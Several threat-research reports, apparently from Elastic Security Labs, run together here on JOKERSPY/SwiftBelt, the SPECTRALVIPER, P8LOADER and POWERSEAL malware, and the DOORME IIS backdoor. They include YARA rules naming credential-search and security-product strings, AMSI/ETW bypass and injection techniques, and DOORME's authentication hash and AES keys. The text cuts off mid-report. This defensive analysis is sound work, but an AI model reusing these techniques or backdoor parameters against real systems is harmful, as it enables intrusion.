On June 1st, the compromised system registered a signature alert for MacOS.Hacktool.Swiftbelt, a MacOS enumeration capability inspired by SeatBelt and created by the red-teamer Cedric Owens. Unlike other enumeration methods, Swiftbelt invokes Swift code to avoid creating command line artifacts. Notably, xcc variants are also written using Swift.

The signature alert indicated that Swiftbelt was written to /Users/shared/sb and executed using the bash shell interpreter, sh. The full command line observed by researchers was Users/Shared/sb /bin/sh -c /users/shared/sb \> /users/shared/sb.log 2\>&1 , demonstrating that the threat actor captured results in sb.log while errors were directed to STDOUT.

Diamond Model

Elastic Security utilizes the Diamond Model to describe high-level relationships between the adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions, and leveraging Activity Threading (section 8) as a way to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a, although cluttered, single diamond.

Observed tactics and techniques

MITRE ATT&CK Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action. These are the tactics observed by Elastic Security Labs in this campaign:

• Execution
• Persistence
• Privilege Escalation
• Defense Evasion
• Discovery

MITRE ATT&CK Techniques / Sub techniques

Techniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action. These are the techniques observed by Elastic Security Labs in this campaign:

• Command and Scripting Interpreter
• Dylib Hijacking
• Potential Exploitation for Privilege Execution
• Potential Abuse Elevation Control Mechanism
• Hide Artifacts
• Masquerading
• Obfuscating Files or Information
• Subvert Trust Controls
• Application Window Discovery
• Screen Capture
• Crytpoistic Software
• Data from Local System

Detection logic

YARA

Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the JOKERSPY backdoor and SwiftBelt tool.

rule Macos_Hacktool_JokerSpy {
    meta:
        author = "Elastic Security"
        creation_date = "2023-06-19"
        last_modified = "2023-06-19"
        os = "MacOS"
        arch = "x86"
        category_type = "Hacktool"
        family = "JokerSpy"
        threat_name = "Macos.Hacktool.JokerSpy"
        reference_sample = "d895075057e491b34b0f8c0392b44e43ade425d19eaaacea6ef8c5c9bd3487d8"
        license = "Elastic License v2"

    strings:
        $str1 = "ScreenRecording: NO" fullword
        $str2 = "Accessibility: NO" fullword
        $str3 = "Accessibility: YES" fullword
        $str4 = "eck13XProtectCheck"
        $str5 = "Accessibility: NO" fullword
        $str6 = "kMDItemDisplayName = *TCC.db" fullword
    condition:
        5 of them
}

rule MacOS_Hacktool_Swiftbelt {
    meta:
        author = "Elastic Security"
        creation_date = "2021-10-12"
        last_modified = "2021-10-25"
        threat_name = "MacOS.Hacktool.Swiftbelt"
        reference_sample = "452c832a17436f61ad5f32ee1c97db05575160105ed1dcd0d3c6db9fb5a9aea1"
        os = "macos"
        arch_context = "x86"
        license = "Elastic License v2"

    strings:
        $dbg1 = "SwiftBelt/Sources/SwiftBelt"
        $dbg2 = "[-] Firefox places.sqlite database not found for user"
        $dbg3 = "[-] No security products found"
        $dbg4 = "SSH/AWS/gcloud Credentials Search:"
        $dbg5 = "[-] Could not open the Slack Cookies database"
        $sec1 = "[+] Malwarebytes A/V found on this host"
        $sec2 = "[+] Cisco AMP for endpoints found"
        $sec3 = "[+] SentinelOne agent running"
        $sec4 = "[+] Crowdstrike Falcon agent found"
        $sec5 = "[+] FireEye HX agent installed"
        $sec6 = "[+] Little snitch firewall found"
        $sec7 = "[+] ESET A/V installed"
        $sec8 = "[+] Carbon Black OSX Sensor installed"
        $sec9 = "/Library/Little Snitch"
        $sec10 = "/Library/FireEye/xagt"
        $sec11 = "/Library/CS/falcond"
        $sec12 = "/Library/Logs/PaloAltoNetworks/GlobalProtect"
        $sec13 = "/Library/Application Support/Malwarebytes"
        $sec14 = "/usr/local/bin/osqueryi"
        $sec15 = "/Library/Sophos Anti-Virus"
        $sec16 = "/Library/Objective-See/Lulu"
        $sec17 = "com.eset.remoteadministrator.agent"
        $sec18 = "/Applications/CarbonBlack/CbOsxSensorService"
        $sec19 = "/Applications/BlockBlock Helper.app"
        $sec20 = "/Applications/KextViewr.app"
    condition:
        6 of them
}

References

The following were referenced throughout the above research:

• https://www.bitdefender.com/blog/labs/fragments-of-cross-platform-backdoor-hint-at-larger-mac-os-attack

Observations

The following observables were discussed in this research.

• The REF2754 intrusion set leverages multiple PE loaders, backdoors, and PowerShell runners
• SPECTRALVIPER is a heavily obfuscated, previously undisclosed, x64 backdoor that brings PE loading and injection, file upload and download, file and directory manipulation, and token impersonation capabilities
• We are attributing REF2754 to a Vietnamese-based intrusion set and aligning with the Canvas Cyclone/APT32/OceanLotus threat actor

Preamble

Elastic Security Labs has been tracking an intrusion set targeting large Vietnamese public companies for several months, REF2754. During this timeframe, our team discovered new malware being used in coordination by a state-affiliated actor.

This research discusses:

• The SPECTRALVIPER malware
• The P8LOADER malware loader
• The POWERSEAL malware
• Campaign and intrusion analysis of REF2754

Execution flow

The first event recorded was the creation of a file (C:\Users\Public\Libraries\dbg.config) by the System service dropped over SMB from a previously compromised endpoint. The adversary renamed the SysInternals ProcDump utility, used for collecting memory metadata from running processes, to masquerade as the Windows debugger utility ( windbg.exe ). Using the renamed ProcDump application with the -md flag, the adversary loaded dbg.config , an unsigned DLL containing malicious code.

It should be noted, the ProcDump LOLBAS technique requires a valid process in the arguments; so while winlogon.exe is being included in the arguments, it is being used because it is a valid process, not that it is being targeted for collection by ProcDump.

The unsigned DLL (dbg.config) contained DONUTLOADER shellcode which it attempted to inject into sessionmsg.exe , the Microsoft Remote Session Message Server. DONUTLOADER was configured to load the SPECTRALVIPER backdoor, and ultimately the situationally-dependent P8LOADER or POWERSEAL malware families. Below is the execution flow for the REF2754 intrusion set.

Our team also observed a similar workflow described above, but with different techniques to proxy their malicious execution. One example leveraged the Internet Explorer program ( ExtExport.exe ) to load a DLL, while another technique involved side-loading a malicious DLL ( dnsapi.dll ) using a legitimate application ( nslookup.exe ).

These techniques and malware families make up the REF2754 intrusion set.

SPECTRALVIPER code analysis

Overview

During our investigation, we observed a previously-undiscovered backdoor malware family that we’re naming SPECTRALVIPER. SPECTRALVIPER is a 64-bit Windows backdoor coded in C++ and heavily obfuscated. It operates with two distinct communication modes, allowing it to receive messages either via HTTP or a Windows named pipe.

Through our analysis, we have identified the following capabilities:

• PE loading/Injection : SPECTRALVIPER can load and inject executable files, supporting both x86 and x64 architectures. This capability enables it to execute malicious code within legitimate processes.
• Token Impersonation : The malware possesses the ability to impersonate security tokens, granting it elevated privileges and bypassing certain security measures. This enables unauthorized access and manipulation of sensitive resources.
• File downloading/uploading : SPECTRALVIPER can download and upload files to and from the compromised system. This allows the attacker to exfiltrate data or deliver additional malicious payloads to the infected machine.
• File/directory manipulation : The backdoor is capable of manipulating files and directories on the compromised system. This includes creating, deleting, modifying, and moving files or directories, providing the attacker with extensive control over the victim's file system.

Execution flow

Launch

SPECTRALVIPER can be compiled as a PE executable or DLL file. Launching the malware as a PE is straightforward by executing .\spectralviper.exe.

However, when the malware is a DLL it will attempt to disguise itself as a legitimate library with known exports such as sqlite3 in our observed sample.

The SPECTRALVIPER entrypoint is hidden within these exports. In order to find the right one, we can brute-force call them using PowerShell and rundll-ng. The PowerShell command depicted below calls each SPECTRALVIPER export in a for loop until we find the one launching the malware capabilities.

for($i=0; $i -lt 20; $i++){.\rundll-ng\rundll64-ng.exe ".\7e35ba39c2c77775b0394712f89679308d1a4577b6e5d0387835ac6c06e556cb.dll" "#$i"}

Upon execution, the binary operates in either HTTP mode or pipe mode, determined by its hardcoded configuration.

Pipe mode

In pipe mode, SPECTRALVIPER opens a named pipe with a hardcoded name and waits for incoming commands, in this example \.\pipe\raSeCIR4gg.

This named pipe doesn’t have any security attributes meaning it’s accessible by everyone. This is interesting because an unsecured named pipe can be overtaken by a co-resident threat actor (either known or unknown to the SPECTRALVIPER operator) or defensive teams as a way to interrupt this execution mode.

However, a specific protocol is needed to communicate with this pipe. SPECTRALVIPER implements the Diffie-Helman key exchange protocol to exchange the key needed to encrypt and decrypt commands transmitted via the named pipe, which is AES-encrypted.

HTTP mode

In HTTP mode, the malware will beacon to its C2 every n seconds, the interval period is generated randomly in a range between 10 and 99 seconds.

Using a debugger, we can force the binary to use the HTTP channel instead of the named pipe if the binary contains a hard-coded domain.

Below is an HTTP request example.

The request contains a cookie header, “ euconsent-v2 ”, which contains host-gathered information. This information is encrypted using RSA1024 asymmetric encryption and base64-encoded using Base64. Below is an example of the cookie content before encryption.

We believe that the first value, in this example “ H9mktfe2k0ukk64nZjw1ow== ”, is the randomly generated AES key that is shared with the server to encrypt communication data.

Commands

While analyzing SPECTRALVIPER samples we discovered its command handler table containing between 33 and 36 handlers.

Below is a table listing of the commands that were identified.

In order to speed up the process of interacting with SPECTRALVIPER, we bypassed the communication protocols and injected our own backdoor into the binary. This backdoor will open a socket and call the handlers upon receiving our messages.

When the AdjustPrivileges command is executed, and depending on the process's current privilege level, the malware will try to set the following list of privileges.

Defense evasion

Code obfuscation

The binary code is heavily obfuscated by splitting each function into multi-level dummy functions that encapsulate the initial logic. On top of that, the control flow of those functions is also obfuscated using control flow flattening. Control flow flattening is an obfuscation technique that removes clean program structures and places the blocks next to each other inside a loop with a switch statement to control the flow of the program.

Below is an example of a second-level identity function where the highlighted parameter p_a1 is just returned despite the complexity of the function.

String obfuscation

SPECTRALVIPER’s strings are obfuscated using a custom structure and AES decryption. The key is hardcoded ( "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f" ) and the IV is contained within the encrypted string structure.

We can decrypt the strings by instrumenting the malware and calling its AES decryption functions.

Summary

SPECTRALVIPER is an x64 backdoor discovered during intrusion analysis by Elastic Security Labs. It can be compiled as an executable or DLL which usually would imitate known binary exports.

It enables process loading/injection, token impersonation, and file manipulation. It utilizes encrypted communication channels (HTTP and named pipe) with AES encryption and Diffie-Hellman or RSA1024 key exchange.

All samples are heavily obfuscated using the same obfuscator with varying levels of hardening.

Using the information we collected through static and dynamic analysis, we were able to identify several other samples in VirusTotal. Using the debugging process outlined above, we were also able to collect the C2 infrastructure for these samples.

P8LOADER

Overview

The Portable Executable (PE) described below is a Windows x64 PE loader, written in C++, which we are naming P8LOADER after one of its exports, P8exit.

Discovery

P8LOADER was initially discovered when an unbacked shellcode alert was generated by the execution of a valid Windows process, RuntimeBroker.exe. Unbacked executable sections, or floating code, are the result of code section types set to “Private” instead of “Image” like you would see when code is mapped to a file on disk. Threads starting from these types of memory regions are anomalous and a good indicator of malicious activity.

If you want to learn more about unbacked executable events, check out the Hunting in Memory research publication by Joe Desimone.

Execution flow

The loader exports two functions that have the capability to load PE binaries into its own process memory, either from a file or from memory.

The PE to be executed is loaded into memory using the VirtualAlloc method with a classic PE loading algorithm (loading sections, resolving imports, and applying relocations).

Next, a new thread is allocated with the entry point of the PE as the starting address.

Finally, the loaded PE’s STDOUT handle is replaced with a pipe and a reading pipe thread is created as a way to redirect the output of the binary to the loader logging system.

On top of redirecting the loaded PE output, the loader uses an API interception mechanism to hook certain APIs of the loaded process, log any calls to it, and send the data through a named pipe (with a randomly generated UUID string as the name).

The hooking of the PE's import table is done at import resolution time by replacing the originally imported function addresses with their own stub.

Defense evasion

String obfuscation

P8LOADER uses a C++ template-based obfuscation technique to obscure errors and debug strings with a set of different algorithms chosen randomly at compile time.

These strings are obfuscated to hinder analysis as they provide valuable information about the loader functions and capabilities.

Summary

P8LOADER is a newly discovered x64 Windows loader that is used to execute a PE from a file or from memory. This malware is able to redirect the loaded PE output to its logging system and hook the PE imports to log import calls.

POWERSEAL code analysis

Overview

During this intrusion, we observed a lightweight .NET PowerShell runner that we call POWERSEAL based on embedded strings. After SPECTRALVIPER was successfully deployed, the POWERSEAL utility would be used to launch supplied PowerShell scripts or commands. The malware leverages syscalls ( NtWriteVirtualMemory ) for evading defensive solutions (AMSI/ETW).

Defense evasion

Event Tracing for Windows (ETW) provides a mechanism to trace and log events that are raised by user-mode applications and kernel-mode drivers. The Anti Malware Scan Interface (AMSI) provides enhanced malware protection for data, applications, and workloads. POWERSEAL adopts well-known and publicly-available bypasses in order to patch these technologies in memory. This increases their chances of success while decreasing their detectable footprint.

For example, POWERSEAL employs common approaches to unhooking and bypassing AMSI in order to bypass Microsoft Defender’s signature

Launch PowerShell

POWERSEAL’s primary function is to execute PowerShell. In the following depiction of POWERSEAL’s source code, we can see that POWERSEAL uses PowerShell to execute a script and arguments ( command ). The script and arguments are provided by the threat actor and were not observed in the environment.

Summary

POWERSEAL is a new and purpose-built PowerShell runner that borrows freely from a variety of open source offensive security tools, delivering offensive capabilities in a streamlined package with built-in defense evasion.

Campaign and adversary modeling

Overview

REF2754 is an ongoing campaign against large nationally important public companies within Vietnam. The malware execution chain in this campaign is initiated with DONUTLOADER, but goes on to utilize previously unreported tooling.

1. SPECTRALVIPER, an obfuscated x64 backdoor that brings PE loading and injection, file upload and download, file and directory manipulation, token impersonation, and named pipe and HTTP command and control
2. P8LOADER, an obfuscated Windows PE loader allowing the attacker to minimize and obfuscate some logging on the victim endpoints, and
3. POWERSEAL, a PowerShell runner with ETW and AMSI bypasses built in for enhanced defensive evasion when using PowerShell tools

Elastic Security Labs concludes with moderate confidence that this campaign is executed by a Vietnamese state-affiliated threat.

Victimology

Using our SPECTRALVIPER YARA signature, we identified two endpoints in a second environment infected with SPECTRALVIPER implants. That environment was discussed in Elastic Security Labs research in 2022 which describes REF4322.

The REF4322 victim is a Vietnam-based financial services company. Elastic Security Labs first talked about this victim and activity group in 2022.

The REF2754 victim has been identified as a large Vietnam-based agribusiness.

Further third party intelligence from VirusTotal, based on retro-hunting the YARA rules available at the end of this research, indicate additional Vietnam-based victims. There were eight total Retrohunt hits:

• All were manually confirmed to be SPECTRALVIPER
• All samples were between 1.59MB and 1.77MB in size
• All VirusTotal samples were initially submitted from Vietnam

Some samples were previously identified in our first party collection, and some were new to us.

Be mindful of the analytic limitations of relying on “VT submitter” too heavily. This third party reporting mechanism may be subject to circular reporting concerns or VPN usage that modifies the GEOs used, and inadvertent reinforcement of a hypothesis. In this case, it was used in an attempt to try to find samples with apparent non-VN origins, without success.

At the time of publication, all known victims are large public companies physically within Vietnam, and conducting business primarily within Vietnam.

Campaign analysis

The overlap with the REF4322 environment occurred fairly recently, on April 20, 2023. One of these endpoints was previously infected with the PHOREAL implant, while the other endpoint was compromised with PIPEDANCE.

These SPECTRALVIPER infections were configured under pipe mode as opposed to hardcoded domains set to wait for incoming connection over a named pipe ( \.\pipe\ydZb0bIrT ).

This activity appears to be a handoff of access or swapping out of one tool for another.

If you’re interested in a detailed breakdown of the PIPEDANCE malware, check out our previous research and stay tuned, more to come.

Post-exploitation collection of intended effects has been limited, however, while speculative in nature, a motivation assessment based on malware, implant, and technical capabilities points to achieving initial access, maintaining persistence, and operating as a backdoor for intelligence gathering purposes.

Domains from REF4322, REF2754, and from samples collected from VirusTotal used for C2 have all been registered in the last year with the most recent being in late April 2023.

GEOs for associated IPs for these domains are globally distributed, and they use Sectigo, Rapid SSL, and Let’s Encrypt certs. Further infrastructure analysis did not uncover anything of note beyond their registration date, which does give us a campaign timebox. Based on the recent registration of appointmentmedia[.]com, this campaign could still be ongoing with new domains being registered for future intrusions.

Campaign associations

Elastic Security Labs concludes with moderate confidence that both REF4322 and REF2754 activity groups represent campaigns planned and executed by a Vietnamese state-affiliated threat. Based on our analysis, this activity group overlaps with prior reporting of Canvas Cyclone, APT32, and OCEANLOTUS threat groups.

As stated above and in previous reporting, the REF4322 victim is a financial institution that manages capital for business acquisitions and former State-Owned-Enterprises.

The REF2754 victim is a large agribusiness that is systemically important in the food production and distribution supply chains of Vietnam. Ongoing urbanization, pollution, the COVID-19 pandemic, and climate change have been challenges for Vietnam’s food security. As a data point, in March of 2023, Vietnam’s Prime Minister approved the National Action Plan on Food Systems Transformation toward Transparency, Responsibility, and Sustainability in Vietnam by 2030. Its overall objective is to transform the food systems including production, processing, distribution, and consumption towards transparency, responsibility, and sustainability based on local advantages; to ensure national food and nutrition security; to improve people's income and living standards; to prevent and control natural disasters and epidemics; to protect the environment and respond to climate change; and finally to contribute to the rolling-out of the Vietnam and Global Sustainable Development Goals by 2030. All of this highlights that food security has been a point of national policy emphasis, which also makes the victims of REF2754 an attractive target to threat actors because of their intersection with Vietnam’s strategic objectives.

In addition to the nationally-aligned strategic interests of the victims for REF4322 and REF2754, both victims were infected with the DONUTLOADER, P8LOADER, POWERSEAL, and SPECTRALVIPER malware families using similar deployment techniques, implant management, and naming conventions in both intrusions.

A threat group with access to the financial transaction records available in REF4322, combined with the national strategic food safety policy for REF2754 would provide insight into competency of management, corruption, foreign influence, or price manipulations otherwise unavailable through regulatory reporting.

Diamond model

Elastic Security utilizes the Diamond Model to describe high-level relationships between the adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions, and leveraging Activity Threading (section 8) as a way to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a (cluttered) single diamond.

Observed adversary tactics and techniques

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

• Initial access
• Execution
• Defense evasion
• Discovery
• Lateral movement
• Collection
• Command and control

Techniques / Sub techniques

Techniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.

• Gather host information
• Gather victim network information
• Network share discovery
• Remote system discovery
• File and directory discovery
• Process discovery
• System service discovery
• System owner/user discovery
• Process injection
• Masquerading
• Application layer protocol: Web protocols
• Access Token Manipulation: Make and Impersonate Token

Detection logic

Preventions

All of the malware discussed in this research publication have protections included in Elastic Defend.

• Windows.Trojan.SpectralViper
• Windows.Trojan.PowerSeal
• Windows.Trojan.P8Loader

YARA

Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify SPECTRALVIPER, POWERSEAL, and P8LOADER

rule Windows_Trojan_SpectralViper_1 {
    meta:
        author = "Elastic Security"
        creation_date = "2023-04-13"
        last_modified = "2023-05-26"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "SpectralViper"
        threat_name = "Windows.Trojan.SpectralViper"
        reference_sample = "7e35ba39c2c77775b0394712f89679308d1a4577b6e5d0387835ac6c06e556cb"
       license = "Elastic License v2"

    strings:
        $a1 = { 13 00 8D 58 FF 0F AF D8 F6 C3 01 0F 94 44 24 26 83 FD 0A 0F 9C 44 24 27 4D 89 CE 4C 89 C7 48 89 D3 48 89 CE B8 }
        $a2 = { 15 00 8D 58 FF 0F AF D8 F6 C3 01 0F 94 44 24 2E 83 FD 0A 0F 9C 44 24 2F 4D 89 CE 4C 89 C7 48 89 D3 48 89 CE B8 }
        $a3 = { 00 8D 68 FF 0F AF E8 40 F6 C5 01 0F 94 44 24 2E 83 FA 0A 0F 9C 44 24 2F 4C 89 CE 4C 89 C7 48 89 CB B8 }
        $a4 = { 00 48 89 C6 0F 29 30 0F 29 70 10 0F 29 70 20 0F 29 70 30 0F 29 70 40 0F 29 70 50 48 C7 40 60 00 00 00 00 48 89 C1 E8 }
        $a5 = { 41 0F 45 C0 45 84 C9 41 0F 45 C0 EB BA 48 89 4C 24 08 89 D0 EB B1 48 8B 44 24 08 48 83 C4 10 C3 56 57 53 48 83 EC 30 8B 05 }
        $a6 = { 00 8D 70 FF 0F AF F0 40 F6 C6 01 0F 94 44 24 25 83 FF 0A 0F 9C 44 24 26 89 D3 48 89 CF 48 }
        $a7 = { 48 89 CE 48 89 11 4C 89 41 08 41 0F 10 01 41 0F 10 49 10 41 0F 10 51 20 0F 11 41 10 0F 11 49 20 0F 11 51 30 }
        $a8 = { 00 8D 58 FF 0F AF D8 F6 C3 01 0F 94 44 24 22 83 FD 0A 0F 9C 44 24 23 48 89 D6 48 89 CF 4C 8D }
    condition:
        5 of them
}

rule Windows_Trojan_SpectralViper_2 {
    meta:
        author = "Elastic Security"
        creation_date = "2023-05-10"
        last_modified = "2023-05-10"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "SpectralViper"
        threat_name = "Windows.Trojan.SpectralViper"
        reference_sample = "d1c32176b46ce171dbce46493eb3c5312db134b0a3cfa266071555c704e6cff8"
       license = "Elastic License v2"

    strings:
        $a1 = { 18 48 89 4F D8 0F 10 40 20 0F 11 47 E0 0F 10 40 30 0F 11 47 F0 48 8D }
        $a2 = { 24 27 48 83 C4 28 5B 5D 5F 5E C3 56 57 53 48 83 EC 20 48 89 CE 48 }
        $a3 = { C7 84 C9 0F 45 C7 EB 86 48 8B 44 24 28 48 83 C4 30 5B 5F 5E C3 48 83 }
        $s1 = { 40 53 48 83 EC 20 48 8B 01 48 8B D9 48 8B 51 10 48 8B 49 08 FF D0 48 89 43 18 B8 04 00 00 }
        $s2 = { 40 53 48 83 EC 20 48 8B 01 48 8B D9 48 8B 49 08 FF D0 48 89 43 10 B8 04 00 00 00 48 83 C4 20 5B }
        $s3 = { 48 83 EC 28 4C 8B 41 18 4C 8B C9 48 B8 AB AA AA AA AA AA AA AA 48 F7 61 10 48 8B 49 08 48 C1 EA }
    condition:
        2 of ($a*) or any of ($s*)
}

rule Windows_Trojan_PowerSeal_1 {
    meta:
        author = "Elastic Security"
        creation_date = "2023-03-16"
        last_modified = "2023-05-26"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "PowerSeal"
        threat_name = "Windows.Trojan.PowerSeal"
        license = "Elastic License v2"

    strings:
        $a1 = "PowerSeal.dll" wide fullword
        $a2 = "InvokePs" ascii fullword
        $a3 = "amsiInitFailed" wide fullword
        $a4 = "is64BitOperatingSystem" ascii fullword
    condition:
        all of them
}

rule Windows_Trojan_PowerSeal_2 {
    meta:
        author = "Elastic Security"
        creation_date = "2023-05-10"
        last_modified = "2023-05-10"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "PowerSeal"
        threat_name = "Windows.Trojan.PowerSeal"
        license = "Elastic License v2"

    strings:
        $a1 = "[+] Loading PowerSeal"
        $a2 = "[!] Failed to exec PowerSeal"
        $a3 = "AppDomain: unable to get the name!"
    condition:
        2 of them
}

rule Windows_Trojan_P8Loader {
    meta:
        author = "Elastic Security"
        creation_date = "2023-04-13"
        last_modified = "2023-05-26"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "P8Loader"
        threat_name = "Windows.Trojan.P8Loader"
        license = "Elastic License v2"

    strings:
        $a1 = "\t[+] Create pipe direct std success\n" fullword
        $a2 = "\tPEAddress: %p\n" fullword
        $a3 = "\tPESize: %ld\n" fullword
        $a4 = "DynamicLoad(%s, %s) %d\n" fullword
        $a5 = "LoadLibraryA(%s) FAILED in %s function, line %d" fullword
        $a6 = "\t[+] No PE loaded on memory\n" wide fullword
        $a7 = "\t[+] PE argument: %ws\n" wide fullword
        $a8 = "LoadLibraryA(%s) FAILED in %s function, line %d" fullword
    condition:
        5 of them
}

References

The following were referenced throughout the above research:

• https://www.elastic.co/jp/security-labs/hunting-memory
• https://www.elastic.co/jp/security-labs/phoreal-malware-targets-the-southeast-asian-financial-sector
• https://www.elastic.co/jp/security-labs/twice-around-the-dance-floor-with-pipedance
• https://www.microsoft.com/en-us/security/blog/2020/11/30/threat-actor-leverages-coin-miner-techniques-to-stay-under-the-radar-heres-how-to-spot-them/
• https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming

Observations

All observables are also available for download in both ECS and STIX format in a combined zip bundle.

The following observables were discussed in this research.

• DOORME is a malicious IIS module that provides remote access to a contested network.
• SIESTAGRAPH interacts with Microsoft’s GraphAPI for command and control using Outlook and OneDrive.
• SHADOWPAD is a backdoor that has been used in multiple campaigns attributed to a regional threat group with non-monetary motivations.
• REF2924 analytic update incorporating third-party and previously undisclosed incidents linking the REF2924 adversary to Winnti Group and ChamelGang along technical, tactical, and victim targeting lines.

Preamble

This research highlights the capabilities and observations of the two backdoors, named "DOORME" and "SIESTAGRAPH", and a backdoor called “SHADOWPAD” that was disclosed by Elastic in December of 2022. DOORME is an IIS (Internet Information Services) backdoor module, which is deployed to web servers running the IIS software. SIESTAGRAPH is a .NET backdoor that leverages the Microsoft Graph interface, a collection of APIs for accessing various Microsoft services. SHADOWPAD is an actively developed and maintained modular remote access toolkit.

DOORME, SIESTAGRAPH, and SHADOWPAD each implement different functions that can be used to gain and maintain unauthorized access to an environment. The exact details of these functionalities will be described in further detail in this research publication. It is important to note that these backdoors can be used to steal sensitive information, disrupt operations, and gain a persistent presence in a victim environment.

Additionally, we will discuss the relationships between REF2924 and three other intrusions carried out by the same threat group, intrusion set, or both. These associations are made using first-party observations and third-party reporting. They have allowed us to state with moderate confidence that SIESTAGRAPH, DOORME, SHADOWPAD, and other elements of REF2924 are attributed to a regional threat group with non-monetary motivations.

Additional information on the REF2924 intrusion setFor additional information on this intrusion set, which includes our initial disclosure as well as information into the campaign targeting the Foreign Ministry of an ASEAN member state, check out our previous research into REF2924.

DOORME code analysis

Introduction to backdoored IIS modules

IIS, developed by Microsoft, is an extensible web server software suite that serves as a platform for hosting websites and server-side applications within the Windows environment. With version 7.0, Microsoft has equipped IIS with a modular architecture that allows for the dynamic inclusion or exclusion of modules to suit various functional requirements. These modules correspond to specific features that the server can utilize to handle incoming requests.

As an example, a backdoored module that overrides the OnGlobalPreBeginRequestevent can be used to perform various malicious activities - such as capturing sensitive user information submitted to webpages, injecting malicious code into content served to visitors, or providing the attacker remote access to the web server. It is possible that a malicious module could intercept and modify a request before it is passed on to the server, adding an HTTP header or query string parameter that includes malicious code. When the server processes that modified request, the malicious code might be executed, allowing the attacker to gain unauthorized access or control the server and its resources.

Adding to the danger of IIS backdoors is that they can be stealthy and organizations may not be aware that they have been compromised. Many companies do not have the resources or expertise to regularly monitor and test their IIS modules for vulnerabilities and malicious code, which can make it difficult to detect and remediate backdoors. To mitigate these risks, organizations should maintain a comprehensive inventory of all IIS modules and implement network and endpoint protection solutions to help detect and respond to malicious activities. Elastic Security Labs has seen increased use of this persistence mechanism coupled with defense evasions, which may disproportionately impact those hosting on-premises servers running IIS.

Introduction to the DOORME IIS module

DOORME is a native backdoor module that is loaded into a victim's IIS infrastructure and used to provide remote access to the target infrastructure. We first discussed the DOORME sample that we observed targeting the Foreign Ministry of an ASEAN member nation in December of 2022.

DOORME uses the RegisterModule function, which is an export of a malicious C++ DLL module and is responsible for loading the module and setting up event handler methods. It also dynamically resolves API libraries that will be used later. The main functionality of the backdoor is implemented in the CGlobalModuleclass and its event handler, OnGlobalPreBeginRequest. This event handler is overridden by DOORME, allowing it to be loaded before a web request enters the IIS pipeline. The core functions of the backdoor (including cookie validation, parsing commands, and calling underlying command functions) are all located within this event handler. DOORME uses multiple obfuscation methods, an authentication mechanism, AES encryption implementation, and a purpose-built series of commands.

This diagram illustrates the contrast between an attacker attempting to connect to a backdoored IIS server and a legitimate user simply trying to access a webpage.

Obfuscation

String obfuscation

DOORME XOR-encrypts strings to evade detection. These encrypted strings are then stored on the memory stack. As the original plaintext is obscured this string obfuscation makes it more difficult for security software or researchers to understand the purpose or meaning of the strings. The malware uses the first byte of every encrypted blob to XOR-decrypt the strings.

Anti-disassembly technique

The malware employs a technique that can cause disassemblers to incorrectly split functions in the code, which leads to the generation of incorrect assembly graphs. This technique can make it more challenging for analysts to understand the malware's behavior and create an effective defense against it.

Control flow obfuscation

The malware in question also employs a technique known as Control Flow Obfuscation (CFO) to complicate the analysis of its behavior. CFO is a technique where the flow of instructions in the code is deliberately manipulated to make it more difficult for security software and researchers to understand the malware's functionality.

The malware uses CFO to complicate the analysis process, but it is noteworthy that this technique is not applied to the entire codebase. From an analysis point of view, this tells us that these strings are of particular importance to the malware author - possibly to frustrate specific security tooling. The following example serves as a demonstration of how the malware uses CFO to conceal its functionality in the context of stack string XOR decryption.

Dynamic import table resolution obfuscation

Dynamic import table resolution is a technique used by malicious software to evade detection by security software. It involves resolving the names of the Windows APIs that the malware needs to function at runtime, rather than hard coding the addresses of these APIs in the malware's import table.

DOORME first resolves the address of LoadLibraryA and GetProcAddress Windows API by parsing the kernel32.dll module export table, then uses the GetProcAddress function to locate the desired APIs within the modules by specifying the name of the API and the name of the DLL module that contains it.

Execution flow

Authentication

The malicious IIS module backdoor operates by looking for the string " 79cfdd0e92b120faadd7eb253eb800d0" (the MD5 hash sum of a profane string), in a specific cookie of the incoming HTTP requests, when found it will parse the rest of the request.

GET request handling

GET requests are used to perform a status check: the malware returns the string “ It works!” followed by the username and the hostname of the infected machine. This serves as a means for the malware to confirm its presence on an infected machine.

POST requests handling

The backdoor operator sends commands to the malware through HTTP POST requests as data which is doubly encrypted. Commands are AES-encrypted and then Base64 encoded, which the DOORME backdoor then decrypts.

Base64 implementation

The malware's implementation of Base64 uses a different index table compared to the default Base64 encoding RFC. The specific index table used by the malware is "VZkW6UKaPY8JR0bnMmzI4ugtCxsX2ejiE5q/9OH3vhfw1D+lQopdABTLrcNFGSy7" , while the normal index table used by the Base64 algorithm is "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/". This deviation from the standard index table makes it more difficult to decode the encoded data and highlights additional custom obfuscation techniques by the DOORME malware author in an attempt to frustrate analysis.

AES algorithm implementation

The malware uses AES (Advanced Encryption Standard) in CBC (Cipher Block Chaining) mode to encrypt and decrypt data. It uses the MD5 hash of the first 16 bytes of the authentication hash " 79cfdd0e92b120faadd7eb253eb800d0", as the AES key. The initialization vector (IV) of the algorithm is the MD5 hash of the AES key.

In our case the AES key is “ 5a430ab45c7e142c70018b99fe0d2da3” and the AES IV is “ 57ce15b304a97772”.

Command handling table

The backdoor is capable of executing four different commands, each with its own set of parameters. To specify which command to run and pass the necessary parameters, the operators of the backdoor use a specific syntax. The command ID and its parameters are separated by the "pipe" symbol( | ).

Command ID 0x42

